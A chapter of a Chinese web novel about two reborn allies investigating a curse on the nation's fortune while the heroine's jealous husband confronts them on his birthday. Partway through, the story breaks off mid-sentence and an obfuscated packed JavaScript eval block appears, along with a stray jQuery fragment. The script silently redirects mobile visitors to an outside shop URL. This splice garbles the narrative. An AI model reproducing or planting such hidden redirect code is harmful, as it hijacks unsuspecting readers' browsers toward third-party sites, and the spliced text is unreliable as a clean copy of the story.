孤守道一大早出去上朝,刘管家走上前,一副欲言又止的样子。
“刘管家怎么了?”
“回大人,今日是大人你的生辰,大人打算怎么安排?”
孤守道淡淡道:“以前怎么过,今天就怎么过。”
刘管家也想啊,只是……
他神色为难地开口:“夫人说想要给大人送一份特别的生辰的礼物,就没有让我们下人准备,所以……”
所以现在夫人走了,那这生辰又该怎么过?
“送我特别的礼物?”孤守道皱紧眉头,现在她人又不在府里,不知道她嘴里说的那份特别的礼物是什么?
又或者根本没有准备。
“那就让后厨的人按照以往的饭菜准备,至于这府邸就没有必要布置。”
“是。”刘管家应答。
观星阁。
花婵娟认床,并不习惯睡这里的床。
想着今天是孤守道的生辰,要是没有发生那样的事情,说不定自己现在正在府里忙活他生辰的事情。
她来到观星阁上,站在窗前可以看到整个景阳城的布局,还真是站得高看得远。
她的眼神落在熟悉的那个宅子,虽然看不清具体宅子的样貌。
但是她知道那某处就是孤府,也不知道她不在,府里会做什么准备给他庆生。
花婵娟猛地晃了晃脑袋,还想这么多干嘛!
你这么挂念他,他都不一定会挂念你!
门从外面打开,苏清辉从外面进来,“孤夫人好雅致。”
花婵娟淡淡瞥了他一眼,“你不让我碰你观星阁的玩意儿,就只能站在这里看看景阳城景色,打发这无聊日子。”
她这是在怪自己了,苏清辉低头笑了笑,“孤夫人,还记得我上次跟你说国运的事?”
“记得。”花婵娟点点头,“上次你说到一半,孤守道突然闯进来打断。”
她顿了顿,接着道:“我记得前不久大赦天下的事情,不就是因为国运。”
“那是我骗皇室的。”他轻描淡写道。
花婵娟:“!!!”
“你骗了皇上和太后!”她震惊地捂着嘴。
这人胆子可真大,竟然敢欺君,这可是重罪!
他无奈笑了笑:“这还不是为了帮你。”
花婵娟无奈地耷拉着眼皮:“国师大人可真会甩锅。”
“哈哈哈!”他仰头大笑,“我估计孤守道来找我,也是想要用这一招。”
“因为在景阳城,只有我用这一招才会让皇室的人信服,他们才不会怀疑我背后真正的动机。”
他话音一顿,“不过……”
“不过什么?”花婵娟皱眉问。
他脸上换上一副严肃的神情,“不过,国运的确出现了问题。”
“这问题还不小。”最后一句,他带着几分无奈与愁容。
“说,国运到底出了什么事?”
苏清辉开始解释:“我去了一趟天灵县,这个地方是开国皇帝出生的地方,也是国运汇集之地。”
“我发现上面笼罩着一团黑气正在汲取周围的龙气。”
“而龙气就是九五至尊的气。”
“龙气都被吸走,这意味着每一位皇帝都活不久,皇帝活不久整个月国自然会走向灭亡。”
怪不得永光皇帝活了不到三十岁就去世了。
那抄了她家的元启皇帝也肯定活不久,想到这里,花婵娟心里可舒服了。
她佯装神色凝重,“会不会跟我们重生有关?”
苏清辉摇了摇头,“没有,龙气的消散,我在上一世也有所察觉,只是……”
“只是等我察觉的时候已经晚了。”
“那个时候匈奴攻破皇宫,月国已经彻底没有救。”
花婵娟眼眸一转,“所以重生第一件事情除了让我跟你合作之外,还有找出国运到底是出了什么问题。”
他郑重点头,“就是这样。”
“现在国运问题找出来了,但是我不知道是谁做的,我也不知道该怎么解决。”
连他都不知道怎么解决,更别说自己了。
花婵娟道:“你让人把牢狱里的人放出来,在众人眼里就是国运的事情已经解决了。”
苏清辉沉默不语,是啊,他给自己出了大难题,“这或许就是改变命运之后,命运给的反噬。”
“那我的孩子们会不会又遭遇什么危险!”花婵娟一脸紧张地问。
“放心,给你孩子的那两张符纸里有我半成功力,会保佑他们平安无事。”
她提起的心这才放回肚子里,“那就好,这两个孩子就是我的命。”
“我宁愿自己出事也不让他们出事。”
其实有个问题,花婵娟一直想要问他,但是一直没有找到很好的机会。
“你是用什么方法重生的?”
苏清辉沉默了一会儿,这件事该不该让她知道?具体的情况他还没有搞清楚,而且他心里还是不相信花婵娟。
毕竟她是被逼着和自己合作的,他心里还是比较害怕,怕她到时候在背后捅一刀。
上次说他收回她的性命,也只是威胁的话而已。
花婵娟见他一直不说话,心里猜测:他不相信我。
“既然是合作,连最基本的诚意也没有,国师我们还是不要合作的好。”
苏清辉抬起眼看向她,嘴上勾起若有若无的笑意,“不是不说,只是这里有些东西我也搞不清楚。”
花婵娟给他倒了一杯茶,“说说看。”
苏清辉接过茶杯,“我们之所以重生也是因为国运。”
“上一世我在观星阁,看着底下的匈奴烧杀抢掠,我打算烧了观星阁,反正都一把老骨头了,死了也无所谓。”
“等等。”她打岔道:“你上一世活了多久?”
苏清辉:“……”
“这是该关心的重点吗?”
花婵娟摇摇头,一脸好奇地说:“但我心里好奇。”
苏清辉抿了抿嘴,“我活到了125岁。”
“哈哈哈哈!”花婵娟仰头大笑,拍着桌子狂笑不止,“老妖怪!竟然活了这么久!”
苏清辉:“……”
咬紧后槽牙,要不是自己有点礼仪,他真想动手打人。
“孤夫人,这不好笑吧。”
花婵娟笑得眼角都是泪水,抬手擦了擦,“挺好笑的,站在我面前的是一个活了一百多岁的老头。”
苏清辉静静地看着她,神情无奈,活这么久也不是他能决定的,再说了,活的久也算是一种福气。
好一会儿,花婵娟才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705917|208326||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
收敛神色,“我笑够了,你接着说。”
苏清辉:“在我打算烧了观星阁的时候,龙气来到我的身边,很微弱,要不是功力深厚,根本察觉不到。”
“它钻入我的身体,告诉我拯救月国的办法,那就是穿越时空,回到过去。”
“而且它还给了我人选,就是孤守道,让他跟我一起回到过去。”
“只是后来,不知道为什么,是你跟我回到了过去。”
花婵娟听完沉默好一会儿才开口说:“我在明,你在暗,一起把破坏国运的人给揪出来!”
苏清辉:“对!”
……
孤守道离开翰林院,脚步不知不觉来到观星阁。
该不该去见她?
她说要给自己准备的生辰礼物到底是什么?
按捺不住内心的好奇,他还是抬脚走过去。
侍从一见到他,连忙弓着腰恭敬道:“孤大人来了,小的来给你带路。”
“多谢。”孤守道行礼道。
房间里的两人听到外面声音,侍从说道:“孤大人,您稍等,国师大人就在里面。”
“叩叩叩。”
房间里的两人对视一眼,心里都有同样的疑问,他怎么来了?
苏清辉使眼色:来找你的。
花婵娟板着脸:不想见他,让他滚。
“让他进来。”苏清辉眼神满是戏谑,看着对面人吃惊的表情。
苏清辉你有病啊!让他进来干什么!
他淡定地喝了一口茶,“谁让你刚刚笑话我是老妖怪的。”
花婵娟“……”
咬紧后槽牙,真是一个睚眦必报的人。
门从外面推开,孤守道进来,看到房间里的两人,脸色瞬间沉下去。
还真是他的好夫人,明明之前都敲打她好几次,还是不长记性。
想着她给自己准备生辰礼物的份上,本来打算说几句软话,哄着她回去,但是现在看,就没有必要了。
既然她喜欢跟这个男人待着,那就待着吧。
“孤大人,好久不见。”苏清辉眼神戏谑的打招呼。
这下可以看他们夫妻之间的好戏了。
这副表情落在孤守道眼里,就是赤裸裸的挑衅:谁叫你守不住自家娘子。
孤守道微微行礼:“拜见国师大人。”
“起来吧。”苏清辉淡淡道。
花婵娟双手环胸,没好气道:“你来这里做什么?”
孤守道昂胸抬头跟她对视,“娘子来得了?为夫就来不了?”
这是特意说出称谓,让某人注意分寸,而那个某人正喝茶,眼神圆溜的在他们夫妻身上转悠。
苏清辉放下手里茶杯,真是好久没有看到这么精彩的戏。
他很好奇孤守道能不能让花婵娟回心转意跟他回去。
孤守道:“国师大人,有没有把本官当朋友?”
他为什么会突然问这个问题?
苏清辉疑惑地点点头,如果可以,还想跟他做要好的朋友,要不是花婵娟的突然重生,说不定跟自己交好的人就是他。
孤守道幽幽道:“既然是朋友,那就有句老话希望国师大人可以牢牢谨记,朋友妻不可欺!”
苏清辉:“???”
这跟我有什么关系?